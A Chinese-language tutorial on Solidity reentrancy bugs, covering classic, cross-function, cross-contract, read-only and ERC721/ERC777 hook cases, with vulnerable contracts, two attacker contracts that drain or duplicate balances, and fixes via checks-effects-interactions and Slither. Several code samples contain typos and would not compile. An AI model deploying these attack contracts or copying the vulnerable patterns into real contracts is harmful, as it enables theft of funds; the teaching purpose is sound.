经典重入问题(Classic Reentrancy)

一个简单的存储合约:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.17;

contract Vault {
    error NativeTokenTransferError();

    mapping(address => uint256) balances;

    function deposit() external payable {
        balances[msg.sender] = msg.value;
    }

    function withdraw() external {
        (bool sent,) = payable(msg.sender).call{value: balances[msg.sender]}("");
        if (!sent) revert NativeTokenTransferError();
        delete balances[msg.sender];
    }
}

delete 关键字在Solidity中用于将单个映射条目或变量重置为其类型的默认值。对于引用类型,默认值通常是零值:对于映射,这意味着将特定键的值重置为其类型的默认值。使用 delete 关键字,比直接设置为默认值更节省 gas。

详细查看:Solidity 关键字

在这里很容易就可以发现问题所在:withdraw函数中,有人将资金存入到了金库,然后在 withdraw 的调用中,他没有优先修改存款人的余额

我们实际上将交易的执行权给任意外部地址时,某个状态已经过时或尚未更新(这种情况下是 msg.sender),因此当我们对 msg.sender 进行调用操作时,我们将调用 msg.sender 的 fallback 函数和 receive 函数,从本质上是让他们控制执行

接下来我们可以看到可以用于此的具体攻击:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.17;

import "../IVault.sol";

contract AttackContract {
    address victim;

    constructor(address _victim) {
        victim = _victim;
    }

    function deposit() external payable {
        IVault(victim).deposit{value: msg.value}();
    }

    function withdraw() external {
        IVault(victim).withdraw();
    }

    receive() external payable {
        try IVault(victim).withdraw() {} catch {}
    }
}

最终,攻击者能够循环提款并取出他们余额的若干倍。这一切都来自于一个事实:

在我们将交易的执行权交给任意外部地址时,这个余额是过时的,他们可以执行任意代码。

解决方法:

  • 添加一个 nonReentrant 修饰符
  • 最优解:在做任何外部调用之前,确保一切已经更新(这通常被称为:检查-效果-交互模式)

基本上说,函数应该以这样的一种方式编写:

在函数开始时,所有的require语句,所有的验证,以确保输入正确。(状态是你希望在函数被调用之前是什么样子的),然后进入交易的所有效果,效果是你是否更新了特定的状态片段,是否会触发了特定的事件等等。然后在完成了所有的状态更新,所有的事件触发这类之后,只有在这时,才能进行外部调用。

跨函数重入问题(Cross-Function Reentrancy)

漏洞合约:

// CrossFunctionReentrancy
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.17;

contract ValnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        require(msg.value >0, "Deposit amount must be greater than 0");
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external nonReentrant {
        uint256 balance = balances[msg.sender];
        require(balance >= amount, "INsufficient balance");

        (bool success, ) = payable(msg.sender).call{value: amount}("");
        require(success, "Withdrawal failed");

        balances[msg.sender] = balances - amount;
    }

    function transfer(address to, uint256 amount) external {
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}

可以看到:(bool success, ) = msg.sender.call{value: amount}("");这段对应的函数还是没有遵顼检查-效果-互动模式。我们确实在提款是添加了一个nonReentrant,因此攻击者无法重新进入并提取代币,无法实施和上一个相同的简单重入攻击。但是我们确实拥有一些其他的函数可能被重入,特别是这里的转账函数,他引起我们注意的原因是因为他是这里新增的唯一其他函数。这个函数可能会对跨函数重入攻击敏感。withdraw()中有一个过时的状态片段,balances。这个合约在发送资产和与msg.sender进行交互之前,还没有交互余额。因此可能发生的情况是:

我们将交易的执行权交给msg.sender,然后余额被更新为新的余额。因此,可能发生的情况是:我们将交易的执行权交给msg.sender,然后在余额被更新之前,减去这里缓存的原始余额,减去他们想要提取的金额之前,攻击者可以调用这个转账函数,基本上将一个不应再存在的余额转移到另一个账户,然后余额将会被设置为在这次外部调用前他应该的金额。因此,查看完整的攻击方式:

// attack
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.18;

import "../IVault.sol";

contract Attack2Contract {
    address victim;
    address owner;

    constructor(address _victim, address _owner) {
        victim = _victim;
        owner = _owner;
    }

    function deposit() external payable {
        IVault(victim).deposit{value: msg.value}();
    }

    function withdraw() external {
        IVault(victim).withdraw();
    }

    receive() external payable {
        uint256 balance = IVault(victim).balances(address(this));
        IVault(victim).transfer(owner, balance);
    }
}

首先,调用攻击合约中的withdraw函数提款,然后触发回调函数,回调函数会在调用transfer函数,把刚刚提取的余额转移到另一个地址owner,然后继续执行金库合约中的withdraw函数逻辑,注意这里的代码:balances[msg.sender] = balances - amount;它是直接为balances[msg.sender]赋值,所赋的值计算方式是balances(提款前的余额)减去提款的余额,但是实际上,balances是在调用 transfer 之前的值,也就是说实际上,虽然我们在回调函数中调用了 transfer 但是,balances 变量并没有受到 transfer的影响(因为 balances 是 withdraw 之前的值),这时候,便实现了凭空为 owner 地址增加了我们 withdraw 出来的数量的余额,owner 地址凭空获得了在这个银行存储的余额,可以直接取款,成功实现攻击。

所以在考虑重入函数的时候,不要只考虑一个函数,要考虑多个函数是否会被共同利用,当然,还存在跨合约重入利用。

跨合约重入问题(Cross-Contract Reentrancy)

合约举例:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.17;

// contract to create and manage swap "requests"

contract TwoStepSwapManager {
  
    struct Swap {
        address user;
        uint256 amount;
        address[] swapPath;
        bool unwrapNativeToken;
    }

    uint256 swapNonce;
    mapping(uint256 => Swap) pendingSwaps;

    function createSwap(uint256 _amount, address[] swapPath, bool unwarpNativeToken) external nonReentrant {
        IERC20(swapPath[0]).safeTransferFrom(msg.sender, _amount);
        pendingSwaps[++swapNonce] = Swap({
            user: msg.sender,
            amount: _amount,
            swapPath: swapPath,
            unwrapNativeToken: unwrapNativeToken
        });
    }

    function cancelSwap(uint256 _id) external nonReentrant {
        Swap memory swap = pendingSwaps[_id];
        require(swap.user == msg.sender);
        delete pendingSwaps[_id];

        IERC20(swapPath[0]).safeTransferFrom(swap.user, swap.amount);
    }
}

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.17;

// contract to execute swaps

contract TwoStepSwapExecutor {

    /** 
    Logic to set peices etc...
    */

    function executeSwap(uint256 _id) external onlySwapExecutor nonReentrant {
        Swap memory swap = ISwapManager(swapManager).pendingSwaps(_id);
    
        // If a swapPath ends in WETH and unwrapNativeToken == true, sned ether to user
        ISwapper(swapper).swap(swap.user, swap.amount, swap.swapPath, swap.unwarpNativeToken);

        delete pendingSwaps[_id];
    }
}

上面这个例子看起来,所有的函数都加了不可重入修饰符,看起来是没有被重入攻击的地方的,但实际上不是:

TwoStepSwapExecutor合约中,delete pendingSwaps[_id];这个状态还是在交换后才更新的。而这次交换是交易执行的起点,是由这个执行器合约上的管理者发起的交易的开始。因此,如果我们从非重入运算符的角度来看这个问题,当管理者调用执行交换(execute swap)时,当这个合约集成ReentrancyGuard合约时,这为这个合约触发一个开关。因此,现在这个合约中所有的非重入部分都将能够在第二次进入时回滚

出现跨合约重入问题的原因还是没有使用检查-效果-交互(check effects interactions)模式的原因

实际造成问题的原因是:首先我们先创建一个Swap,然后调用TwoStepSwapExecutor:executeSwap,触发回调函数(接口),然后再在回调函数中调用TwoStepSwapManager:cancelSwap取消Swap(因为这时还没修改效果,即触发这行代码:delete pendingSwaps[_id];)这导致我能能够撤回我们的 ERC20 Token,同时还获取了 Ether。这里成功实现了跨合约重入。

只读重入问题(Read-Only Reentrancy)

只读重入背后的基本思想也是和上面其他类型的重入问题思想是类似的:在某个效果没有发生,在外部调用之前,状态没有更新

任何依赖于特定状态的系统,在攻击者可以控制交易时,这个状态被更新,依赖于这个状态的第三方系统将会读取不准确,过时的状态。因此现在这些第三方系统将因为这些过时的信息而被利用

只读重入本质上是一种执行跨合约重入性的方式,但是他不是针对一个系统,而是从一个系统到了某个第三方合约系统。

合约举例:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.17;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payabele {
        require(msg.value > 0, "Deposit amount must be greater than 0");
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(amount > 0, "Withdrawal amount be greater than 0");
        require(isAllowedToWithdraw(msg.sender, amount), "Insufficient balance");

        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "Withdrawal failed");

        balances[msg.sender] -= amount;
    }

    function isAllowedToWithdraw(address user, uint256 am1ount) public view returns (bool) {
        return balances[usre] >= amount;
    }
}

这个合约看起来并不存在重入问题,但是关键在于这里有一个看起来没有害处的view函数。但在我们将执行权交给msg.sender时,他们已经提取了资金,实际上已经取出了 Ether,只是还没有在这个银行合约中的状态中反映出来。因此在msg.sender被调用的时候,对于原始金额是否允许提取的判断将会是真。这时候,当其他第三方系统与这个isAllowedToWithdraw()函数集成时,他们应该知道他可能以这种方式被操纵。

重入的根本愿意就是:在触发效果之前,没有先修改状态,使得后续使用的状态都是过时的状态。

ERC721&ERC777重入问题

对于 ERC721 的重入性:有一个在 ERC721 接收函数上被调用的接收者,任何 NFT,任何 ERC721 代币,这是在从一个地址向另一个地址安全转账时被调用的。如果目标地址是一个合约,它实质上会在该地址上调用这个函数

下面是简单的对于这两个合约的 hook 函数的简要说明:

ERC721

在ERC721标准中,当一个NFT(非同质化代币)从一个地址转移到另一个地址时,如果接收地址是一个合约,那么这个合约需要实现ERC721Receiver接口。这个接口定义了一个名为onERC721Received的函数,该函数在NFT被安全转移(safeTransferFrom调用)到合约时自动调用。

>function onERC721Received(
   address operator,
   address from,
   uint256 tokenId,
   bytes calldata data
>) external returns(bytes4);

如果合约希望接收ERC721代币,它必须正确实现这个函数,并返回特定的字节码值bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")),以表明它正确处理了接收的NFT。

ERC777

ERC777是另一个代币标准,提供了更多的功能和灵活性,特别是在代币交易的hook上。它定义了发送和接收代币时可以触发的hooks,分别是tokensToSendtokensReceived。这些hooks允许合约在代币被发送或接收时执行额外的逻辑。

  • tokensToSend允许代币的发送者在代币被发送之前执行代码。
  • tokensReceived允许代币的接收者在代币被接收时执行代码。
>function tokensToSend(
   address operator,
   address from,
   address to,
   uint256 amount,
   bytes calldata userData,
   bytes calldata operatorData
>) external;

>function tokensReceived(
   address operator,
   address from,
   address to,
   uint256 amount,
   bytes calldata userData,
   bytes calldata operatorData
>) external;

这些hook函数在ERC777代币转移过程中提供了更多的控制和定制性,但与此同时,也引入了潜在的重入攻击风险,因为这些函数可以在转移代币的过程中被自动调用,如果不正确实现,可能会被利用进行恶意操作。

总的来说,无论是ERC721的onERC721Received函数,还是ERC777的tokensToSendtokensReceived函数,它们都是在资产转移过程中提供额外行为的hook函数,开发者在实现这些函数时需要谨慎,确保考虑到了重入攻击的防护。

对于 ERC721:他可能将交易的执行权转移给任意地址的外部调用,当可能有状态尚未被更新时他可能出现问题

对于 ERC777:它是因为暴露了回调函数,可能会将交易的执行权交给发出地址或目的地址

检测重入问题的方法

到目前为止,我们注意到重入漏洞的根本原因始终是一个任意的外部调用。他特别集中在状态变量在此调用之前没有被更新的情况。这就是为什么检查-效果-交互为什么这么有效。

所以,我们要确保在我们进行交互和外部调用之前更新每一个状态。

我们可以简单的列举系统发出的每一个外部调用,特别是那些发给不受信任账户或任意地址的调用。特别是那些在状态变量更新之前发生的调用。可以使用 Slither 等静态分析工具来列举这些在状态变量之前发出的外部调用

获取完这个列表后,还需要一个另外的列表:有人在控制交易执行的时候,可以控制的调用,这将是系统中可以发出的任何外部调用,以及在交易执行时,那个时候过时的每一个状态。所以列出每一个失去时效的状态变量,包括那些对于每一个风险的外部调用